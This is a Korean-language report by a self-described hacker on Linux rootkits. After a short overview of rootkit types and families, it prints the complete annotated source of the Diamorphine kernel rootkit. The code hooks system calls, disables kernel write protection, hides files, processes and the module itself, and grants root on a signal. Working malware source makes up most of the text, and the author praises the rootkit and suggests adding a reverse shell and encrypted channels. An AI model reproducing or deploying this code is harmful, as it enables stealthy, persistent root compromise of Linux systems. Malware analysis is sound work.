리누기(리눅스 환경) 배경의 연구 보고서

저자: 정경주 (해커 아이디: tf8)
저자 이-메일: x90cx90c1@gmail.com

필요한 사안만 추려본,.

목 차

- 제 트위터: http://www.twitter.com/@tf8xt (출판사업자인동시에해커유명인인게아니라유명인입니다) 제공해드리는 정보는 책저작을위해 직접 띄어서만든듭니다.

1. 루트킷 개념

루트킷(rootkit)은 해커가 네트워크를 통해서 시스템에 침입한 후 다음 접속을 쉽게 하기 위해서 root 계정의 패스워드와 상관없이 접속해 시스템에 다시 침입하기 위해서 만들어진 악성 코드(malware) 중 하나의 타입을 의미합니다.

루트킷은 사용자 영역의 루트킷과 커널 루트킷이 있는데, 커널 루트킷은 교묘하게 설치되면 시스템을 재설치해야 될 정도로 탐지가 어렵기 때문에 최신 기법의 커널 루트킷이 해커들에게 있어서 관심 사항이 되어 왔고, 연구 영역의 하나입니다.

루트킷은 백도어와는 달리 악의를 가지고 접속한 해커에게 여러 가지 편리한 수퍼 유저(root)의 기능들을 제공하는데, 1) 키로깅 2) 백도어(루트쉘) 3) 해커 통신 숨기기(covert channel) 4) 침입 스텔스(로그 감추기, 침입 탐지 감추기) 5) 시스템 동작 조작 과 같은 5가지 정도의 기능들이 있습니다.

2. 사용자 루트킷 versus 커널 루트킷

사용자 영역의 루트킷은 사용자 영역에서만 동작하고 chkrootkit 또는 rootkit hunter와 같은 리눅스 바이너리 루트킷 탐지 도구에 의해 파일명이 설치되어 있는지 만을 검사해줘서 쉽게 서버 시스템 관리자나 보안 담당자에게 발각됩니다. 따라서 스텔스(stealth) 기능이 없다는 단점이 있어, 해커들은 스텔스 기능이 잘 동작하는 시스템 호출이나 커널 자원 단에서 해커의 동작을 암호화 하는 방법으로 숨기거나 하는 트릭을 포함하는 커널 루트킷을 선호하는 경향이 다수입니다.

*** 참고.** 1% 해커가 되고 싶으시다면 본 연구 보고서를 탐독하셔서 리눅스와 윈도우 커널 루트킷에 대해서 연구를 꾸준히 해보시는 것을 추천드립니다.

3. 리눅스 루트킷의 종류

adore, adore-ng	가장 많은 릴리즈를 통해 인기있는 유저랜드 루트킷
suckit	/dev/kmem을 통해 동작하는 리눅스 커널 기반 루트킷 중 하나로 프랙 이슈 58, 아티클 0x07를 통해 릴리즈된거임
phalanx	제가 설계한 듯?! /dev/mem 메모리 장치를 이용해 실 메모리에 접근해 IDT(인터럽트 디스크립터 테이블)을 후킹하여 시스템 콜을 후킹하는 방법으로 동작하는 비-LKM 계열 커널 루트킷임. 유저레벨 루트킷으로 보이지만 커널 루트킷임
Jynx-Kit	LD_PRELOAD 환경 변수를 통해서 공유 라이브러리로된 유저랜드 프리 로드 라이브러리를 조작해서 백도어로 동작하는

	유저랜드 루트킷임.
Kbeast	고정된 시스템콜 테이블 주소를 통해 시스템 콜을 후킹하는 함수로 여러 가지 LKM 커널 기반 루트킷의 구현을 보여줌.
Enye	IDT를 구하고, 시스템 콜 테이블 주소를 구해서 시스템 콜 함수들을 후킹해서 동작하는 메커니즘을 사용하는 커널 기반 루트킷 LKM 임.
StMichael	extern 광역 변수 선언을 통해 커널이 sys_call_table[](배열 변수)를 내보낸 경우(export) 이것을 로드해서 사용하도록 동작하는 약간은 불안정해 보이는 방법을 사용한 코드의 리눅스 커널 기반 루트킷 LKM 임.

5. 루트킷 코드 분석

5.1 Diamorphine 리눅스 커널 루트킷 코드 분석

첫째) 대략적 분석 둘째) 상세 분석 2단계로 분석했고 셋째) 코드 정리를 통해서 이해를 쉽게 할 수 있도록 하는 내용을 첨가했습니다.

다이아모르핀 커널 루트킷은 4.13.0 ~ 2.6.18, 4.13 이후 커널 버전대를 지원합니다.

https://raw.githubusercontent.com/m0nad/Diamorphine/master/diamorphine.h

```
struct linux_dirent { // 리눅스 디렉토리 엔트리 구조
        unsigned long   d_ino; // inode 번호
        unsigned long   d_off; // 다음 linux_dirent에 대한 오프셋
        unsigned short  d_reclen; // 이 linux_dirent의 길이
        char            d_name[1]; // 파일명 (널 터미네이트로 끝남.) - 1바이트이므로, 파일명이 쓰이지 않음
};

#define MAGIC_PREFIX "diamorphine_secret" // 숨길 파일(디렉토리)의 파일명 일부 조각

#define PF_INVISIBLE 0x10000000 // 숨겨진 프로세스 여부를 나타내는 프로세스 플래그 값

#define MODULE_NAME "diamorphine"

enum {
        SIGINVIS = 31, // 감추기 시그날
        SIGSUPER = 64, // 수퍼유저 시그날
        SIGMODINVIS = 63, // 나타내기 시그날
};

#ifndef IS_ENABLED
#define IS_ENABLED(option) \
```

```
(defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) // 커널 버전 5.7 이상일 때
#define KPROBE_LOOKUP 1 // KPROBE_LOOKUP을 1로 설정하고, linux/kprobes.h를 선언
#include <linux/kprobes.h>
static struct kprobe kp = { // 정적으로 kprobe 구조를 kp로 선언하고 심볼명을 설정.
        .symbol_name = "kallsyms_lookup_name"
};
#endif
```

https://raw.githubusercontent.com/m0nad/Diamorphine/master/diamorphine.c

```
#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>

// 커널 버전대 별 선언해야 하는 하는 헤더파일이 다름.
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0)
#include <asm/uaccess.h>
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
#include <linux/proc_ns.h>
#else
#include <linux/proc_fs.h>
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)
#include <linux/file.h>
#else
#include <linux/fdtable.h>
#endif

#if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18)
#include <linux/unistd.h>
#endif

#ifndef __NR_getdents
#define __NR_getdents 141 // __NR_getedents 값을 141로 설정 (시스템 콜 중 하나)
#endif

#include "diamorphine.h" // diamorphine.h 사용자 정의 헤더 파일 선언
```

```
// 본 루트킷은 x86, x86_64, ARM64 3개의 CPU 아키텍쳐를 지원함.
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
unsigned long cr0; // cr0 변수 (32비트 임)
#elif IS_ENABLED(CONFIG_ARM64)
void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size,
pgprot_t prot);
unsigned long start_rodata; // start_rodata 메모리 시작 지점
unsigned long init_begin; // init_begin 메모리 시작 지점
#define section_size init_begin - start_rodata // 섹션 길이 = init_begin - stsrt_rodata
#endif
static unsigned long *__sys_call_table; // __sys_call_table 정적 포인터 변수 선언.
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) // 4.16 버전 이상일 때 변수 일부
선언
        typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
        static t_syscall orig_getdents;
        static t_syscall orig_getdents64;
        static t_syscall orig_kill;
#else
        typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
                unsigned int);
        typedef asmlinkage int (*orig_getdents64_t)(unsigned int,
                struct linux_dirent64 *, unsigned int);
        typedef asmlinkage int (*orig_kill_t)(pid_t, int);
        orig_getdents_t orig_getdents;
        orig_getdents64_t orig_getdents64;
        orig_kill_t orig_kill;
#endif

// get_syscall_table_bf:
// 시스템 콜 테이블 찾는 함수
unsigned long *
get_syscall_table_bf(void)
{
        unsigned long *syscall_table;

// 커널 버전이 4.4보다 높은 버전대 일 시,
// KPROBE_LOOKUP이 선언되었으면, kprobe를 등록하고 kp.addr을 통해
// kallsyms_lookup_name 커널 개체 함수 주소를 구하고, 아닌 경우에는 기본적으로
// 이 값이 구해져 있으므로 다른 동작을 수행하지 않음.
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0)
#ifdef KPROBE_LOOKUP
        typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
        kallsyms_lookup_name_t kallsyms_lookup_name;
        register_kprobe(&kp); // register_kprobe로 &kp로 kprobe 등록.
        kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; // kp.addr로 개체 구
```

```
함
        unregister_kprobe(&kp); // kp 해제
#endif
       // syscall_table = sys_call_table 커널 심볼 개체의 주소를 구함.
        syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
        return syscall_table; // 구한 시스템 콜 테이블 주소를 반환.
#else
 // 4.4 이하 버전 대 일 시,
        unsigned long int i;
       // sys_close를 초기 값으로 ULONG_MAX까지 엔터티를 반복
        for (i = (unsigned long int)sys_close; i < ULONG_MAX;
                        i += sizeof(void *)) {
                syscall_table = (unsigned long *)i; // syscall_table = I(엔터티)

              // syscall_table[__NR_close]가 sys_close로 시스템 콜 주소 시작
              // 점을 찾으면 syscall_table 포인터를 반환.
                if (syscall_table[__NR_close] == (unsigned long)sys_close)
                        return syscall_table;
        }
        return NULL; // 못 찾으면, NULL을 반환
#endif
}

// find_task
// 인자로 전달된 pid(프로세스 식별자)의 task_struct 구조체 개체를 찾아 반환하는 코드
struct task_struct *
find_task(pid_t pid)
{
        struct task_struct *p = current;
        for_each_process(p) {
                if (p->pid == pid)
                        return p;
        }
        return NULL;
}

// is_invisible
// 인자로 받은 pid(프로세스 식별자)의 프로세스가 있을 시
// task->flags가 PF_INVISIBLE(보이지 않음) 설정이 되었을 시에 1을 반환함.
// = 숨겨진 프로세스인지 검사하는 코드
int
is_invisible(pid_t pid)
{
        struct task_struct *task;
        if (!pid)
```

```
                return 0;
        task = find_task(pid); // 태스크(프로세스) 찾기
        if (!task)
                return 0;
        if (task->flags & PF_INVISIBLE) // 숨겨진 프로세스면 1을 반환
                return 1;
        return 0; // 아니면 1을 반환
}

// hacked_getdents64
// getedents64 시스템 호출을 후킹하는 코드

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {

// x86, x86 64비트 중 하나 일 시
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        // pt_regs->si로 dirent 구조 포인터를 구함
        int fd = (int) pt_regs->di;
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64) // ARM64비트 일 시
        int fd = (int) pt_regs->regs[0];

        // pt_regs->regs[1]으로 dirent 구조 포인터를 구함.
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
        int ret = orig_getdents64(pt_regs), err;

#else // 커널 버전이 4.16 이하일 때,
// dirent 포인터를 구하기 위한 다른 작업이 요구되지 않음.
asmlinkage int
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
        unsigned int count)
{
        int ret = orig_getdents64(fd, dirent, count), err;
#endif
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent64 *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret <= 0)
                return ret;

        // kdirent = orig_getedents64 호출후 반환된 문자열을 저장할
```

```
        // 필요한 만큼의 메모리 할당
        kdirent = kzalloc(ret, GFP_KERNEL);
        if (kdirent == NULL)
                return ret;

        // dirent를 kdirent로 ret 길이만큼 복사.
        err = copy_from_user(kdirent, dirent, ret);
        if (err)
                goto out;

   // 커널 버전이 3.19 이전일 때, d_inode는
   //  current->files->fdt[fd[fd]->f_dentry->d_inode 이고
   // 아닐 시,
   //  current->files->fdt->fd[fd]->f_path.dentry->d_node입니다.
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
        d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
        d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif

        // d_inode->i_ino가 PROC_ROOT_INO(루트 inode) 이고, d_inode->i_rdev가 MAJOR
가 아닐 시
       // pROC = 1 설정.
        if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
                /*&& MINOR(d_inode->i_rdev) == 1*/)
                proc = 1;

        // 디렉토리나 파일을 보이게 하고 숨기는 기능을 하는 후킹 코드임.
        while (off < ret) {
                dir = (void *)kdirent + off;
                if ((!proc &&
                (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
                || (proc &&
                is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
                        if (dir == kdirent) {
                                ret -= dir->d_reclen;
                                memmove(dir, (void *)dir + dir->d_reclen, ret);
                                continue;
                        }
                        prev->d_reclen += dir->d_reclen;
                } else
                        prev = dir;
                off += dir->d_reclen;
        }
        // 정리된 kdirent를 ret 길이 만큼 dirent(유저랜드 메모리)로 복사
```

```
        err = copy_to_user(dirent, kdirent, ret);
        if (err)
                goto out;
out:
        kfree(kdirent); // kdirent 커널 메모리 해제
        return ret; // 복사한 바이트 길이 반환
}

// hacked_getdents
// 32비트용 getedents 시스템 호출 후킹 코드
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        int fd = (int) pt_regs->di;
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
                int fd = (int) pt_regs->regs[0];
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
        int ret = orig_getdents(pt_regs), err;
#else
asmlinkage int
hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,
        unsigned int count)
{
        int ret = orig_getdents(fd, dirent, count), err;
#endif
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret <= 0)
                return ret;

        kdirent = kzalloc(ret, GFP_KERNEL);
        if (kdirent == NULL)
                return ret;

        err = copy_from_user(kdirent, dirent, ret);
        if (err)
                goto out;

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
        d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
```

```
#else
        d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif

        if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
                /*&& MINOR(d_inode->i_rdev) == 1*/)
                proc = 1;

        while (off < ret) {
                dir = (void *)kdirent + off;
                if ((!proc &&
                (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
                || (proc &&
                is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
                        if (dir == kdirent) {
                                ret -= dir->d_reclen;
                                memmove(dir, (void *)dir + dir->d_reclen, ret);
                                continue;
                        }
                        prev->d_reclen += dir->d_reclen;
                } else
                        prev = dir;
                off += dir->d_reclen;
        }
        err = copy_to_user(dirent, kdirent, ret);
        if (err)
                goto out;
out:
        kfree(kdirent);
        return ret;
}

// give_root
//  current->uid euid suid fsuid
//            gid egid sgid fsgid를 0으로 설정해서 nullify하는 코드
void
give_root(void)
{
        #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
                current->uid = current->gid = 0;
                current->euid = current->egid = 0;
                current->suid = current->sgid = 0;
                current->fsuid = current->fsgid = 0;
        #else // 커널 2.6.29 이상의 버전에서는 cred 구조에 prepare_creds()로 구조를 받아서
             // commit_creds로 프로세스에 대한 새 크리덴셜을 커널에 적용을 요청해야 함.
```

```
                struct cred *newcreds;
                newcreds = prepare_creds();
                if (newcreds == NULL)
                        return;
                #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \
                        && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \
                        || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
                        newcreds->uid.val = newcreds->gid.val = 0;
                        newcreds->euid.val = newcreds->egid.val = 0;
                        newcreds->suid.val = newcreds->sgid.val = 0;
                        newcreds->fsuid.val = newcreds->fsgid.val = 0;
                #else
                        newcreds->uid = newcreds->gid = 0;
                        newcreds->euid = newcreds->egid = 0;
                        newcreds->suid = newcreds->sgid = 0;
                        newcreds->fsuid = newcreds->fsgid = 0;
                #endif
                commit_creds(newcreds);
        #endif
}

// tidy
// 모듈 섹션 (THIS_MODULE)->sect_attrs를 kfree로 메모리 해제하고, NULL로 초기화하는 코드
static inline void
tidy(void)
{
        kfree(THIS_MODULE->sect_attrs);
        THIS_MODULE->sect_attrs = NULL;
}

static struct list_head *module_previous;
static short module_hidden = 0;
// 모듈을 보이게 하는 기능
void
module_show(void)
{
        list_add(&THIS_MODULE->list, module_previous); // 저장했던 module_previous 모듈을 THIS_MODULE->list(리스트)에 추가
        module_hidden = 0; // 모듈 숨겨진 플래그 변수를 클리어 함.
}

// 모듈을 숨기는 하이딩 기능
void
module_hide(void)
{
```

```
        module_previous = THIS_MODULE->list.prev; // THIS_MODULE->list.prev(이전 모
듈)을 module_previous에 설정
        list_del(&THIS_MODULE->list); // 현재 모듈을 리스트에서 제거
        module_hidden = 1; // module_hidden(모듈 숨겨짐 플래그 변수) 켬.
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
asmlinkage int
hacked_kill(const struct pt_regs *pt_regs)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        pid_t pid = (pid_t) pt_regs->di;
        int sig = (int) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
        pid_t pid = (pid_t) pt_regs->regs[0];
        int sig = (int) pt_regs->regs[1];
#endif
#else
asmlinkage int
hacked_kill(pid_t pid, int sig)
{
#endif
        struct task_struct *task;
        switch (sig) {
                case SIGINVIS: // SIGINVIS (태스크 숨기기)
                        if ((task = find_task(pid)) == NULL)
                                return -ESRCH;
                        task->flags ^= PF_INVISIBLE;
                        break;
                case SIGSUPER: // SIGUSER(루트쉘 획득)
                        give_root();
                        break;
                case SIGMODINVIS: // SIGMODINVIS(모듈 보이기)
                        if (module_hidden) module_show();
                        else module_hide();
                        break;
                default: // 다른 시그날들은 후킹하지 않고 원본 kill 시스템콜 함수 호출함.
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
                        return orig_kill(pt_regs);
#else
                        return orig_kill(pid, sig);
#endif
        }
        return 0;
}
```

```
// 커널 버전 4.16 이전 버전대에서는 write_cr0 커널 개체가 있어서 그것으로 cr0 레지스터의
// WP 플래그 비트를 설정하고 해제할 수 있다. 그 이후 버전에서는 사용할 수 없기 때문에
// 아래의 write_cr0_force() 함수로 인라인 어셈블 코드를 통해서 직접 구현해서 써야 하고
// 코딩되어 있음!
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static inline void
write_cr0_forced(unsigned long val)
{
        unsigned long __force_order;

        asm volatile(
                "mov %0, %%cr0"
                : "+r"(val), "+m"(__force_order));
}
#endif

// protect_memory
//   cr0 변수를 write_cr0_force 또는 write_cr0에 인자로 전달해서 메모리 보호를 잠그는 코드
static inline void
protect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0);
#else
        write_cr0(cr0);
#endif
// ARM64 아키텍처의 경우는 update_mapping_prot로 start_rodata부터, section_size(섹션 길
이)까지 PAGE_KERNEL_RO(읽기 전용 커널 페이지)로 설정해서 페이지(메모리를 의미) 잠금.
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
                            section_size, PAGE_KERNEL_RO);

#endif
}

// unprotect_memory:
//   후킹을 위해서 메모리 보호를 해제하는 함수
static inline void
unprotect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
// 커널 버전 4.16 보다 높은 버전일시 write_cr0_forced가 쓰이고, 아닐 시에는 write_cr0가 쓰임.
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
```

```
        write_cr0_forced(cr0 & ~0x00010000); // WP(Write Protection, 쓰기 방어) 비트 플래그 해제.
#else
        write_cr0(cr0 & ~0x00010000);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
                            section_size,  PAGE_KERNEL);  // PAGE_KERNEL로 PAGE_KERNEL_RO가 아닌 값을 설정해서 페이지에 쓰기 접근이 가능하도록 변경.
#endif
}

// 엔트리 포인트: 모듈 초기화 함수
static int __init
diamorphine_init(void)
{
        // (1) __sys_call_table = 시스템 콜 테이블을 얻음.
        __sys_call_table = get_syscall_table_bf();
        if (!__sys_call_table)
                return -1;

       // x86 또는 x86 64비트 일 경우에는 read_cr0 함수로 cr0 레지스터 값을 구하고
       // ARM64의 경우에는 커널 심볼 개체 중에 update_mapping_prot, __start_rodata, __init_begin 3개의 개체 포인터를 구함.
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        cr0 = read_cr0(); // cr0 레지스터 값 구함
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
        start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
        init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");
#endif

        module_hide(); // 모듈 숨김
        tidy(); // 모듈 섹션 속성 해제


// 원본 시스템 콜 개체 함수 백업
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
        orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
        orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
        orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
        orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
        orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
```

```
#endif

        // 메모리 보호 해제
        unprotect_memory();

        // 시스템 콜 3개 후킹해서 후킹 함수 설정
        __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) hacked_kill;

        // 메모리 보호
        protect_memory();

        return 0;
}

// 모듈 클린업 함수
static void __exit
diamorphine_cleanup(void)
{
        // 메모리 보호 해제
        unprotect_memory();

        // 시스템 콜 복구
        __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) orig_kill;

        // 메모리 보호
        protect_memory();
}

module_init(diamorphine_init);
module_exit(diamorphine_cleanup);

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("m0nad");
MODULE_DESCRIPTION("LKM rootkit");
```

분석해 본 리눅스 커널 루트킷은 cr0(제어 레지스터)의 WP 플래그 비트를 끄고, 시스템 콜 테이블의 주소를 구해서 시스템 콜을 후킹하고, hacked_* 해커의 함수를 시스템 콜 3개로 변경해 동작하게 했습니다. 또한 모듈 자체를 숨김으로써 시스템 관리자에게 들키지 않게 숨기는 기능도 포함하고 있었습니다.

또한 ARM64를 지원해서 스마트 장치에서도 동작할 수 있어서 발전적인 기능을 추가적으로

개발해 나갈 수도 있습니다. 시스템 콜 테이블 포인터를 찾는데는 kallsyms_lookup_name 커널 개체가 쓰이는데, KPROBE를 지원하는 경우에는 kp.addr을 통해서 kallsyms_lookup_name 개체를 얻는 방법으로 좀 더 최신 버전에서도 동작하는 시스템 콜 테이블 얻기가 가능해서, kallsyms_lookup_name이 바로 사용하는 것이 지원하지 않는 최신 버전에서도 동작하는 가용성을 갖고 있었습니다.

2가지 장점, ARM64 지원, KPROBE를 통한 kp.addr로 kallsyms_lookup_name 커널 개체를 구해서 시스템 콜 테이블을 구할수 있다는 점을 알 수 있습니다.
단점은 기능이 단순해서 암호화 채널이나 리버스 쉘과 같은 것이 지원되지 않는다는 점과 2.4 커널은 지원하지 않는다는 2가지 사항입니다. 조금 더 기능적으로 개선되어 릴리즈된다면 개발이 보충되면 좋은 것으로 생각됩니다.

7. 결 론

본 리눅스 기반 루트킷 분석 보고서에서는 리눅스 기반 루트킷이 어떤 것인지 알아 보았고, 대략적인 이해를 할 수 있었습니다. 또한 릴리즈되어 있는 리눅스 기반 Diamorphine 커널 루트킷을 상세분석! 더불어 arm얘기도 겻들였습니다.

불량불법 해커가 서버에 불법적으로 접근해서 해킹에 성공하게 되면 마지막으로 하는 작업이 루트킷을 설치하고 접근 기록인 access_log와 보안 기록을 지우는 일인데, 이러한 루트킷은 스텔스 기능이 있는 루트킷에 의해서 시스템 관리자 또는 보안 관리자에게 쉽게 발각되지 않아서 사이버 세상에 큰 문제를 야기하는 한 가지 원인이 됩니다. 또한 해커의 통신은 암호화되어 있어서 정상적인 네트워크 기반 보호 장치들에서도 정상적으로 나오고, 탐지가 어려울 수 있습니다. 따라서 이러한 루트킷은 해커들의 성지이기 때문에 꼭 알아두셔야 하는게 1%의 사명감입니다!!!

더불어 추후 좀 더 보강된 자료로 루트킷을 잘 다뤄보고 싶은 바램이 있습니다.
(여러분들도 이런 보고서 보시고 양식에 맞춰서 한번 다루시고나시면 이해가대실거세요.자료보관 2백업하는거 잊지마시구요. 저는 hwp나 PDF로만 퍼블리싱합니다)

8. 레퍼런스

[1] https://www.giac.org/paper/gsec/391/understanding-attackers-toolkit/101008
[2] https://apps.dtic.mil/sti/pdfs/AD1004348.pdf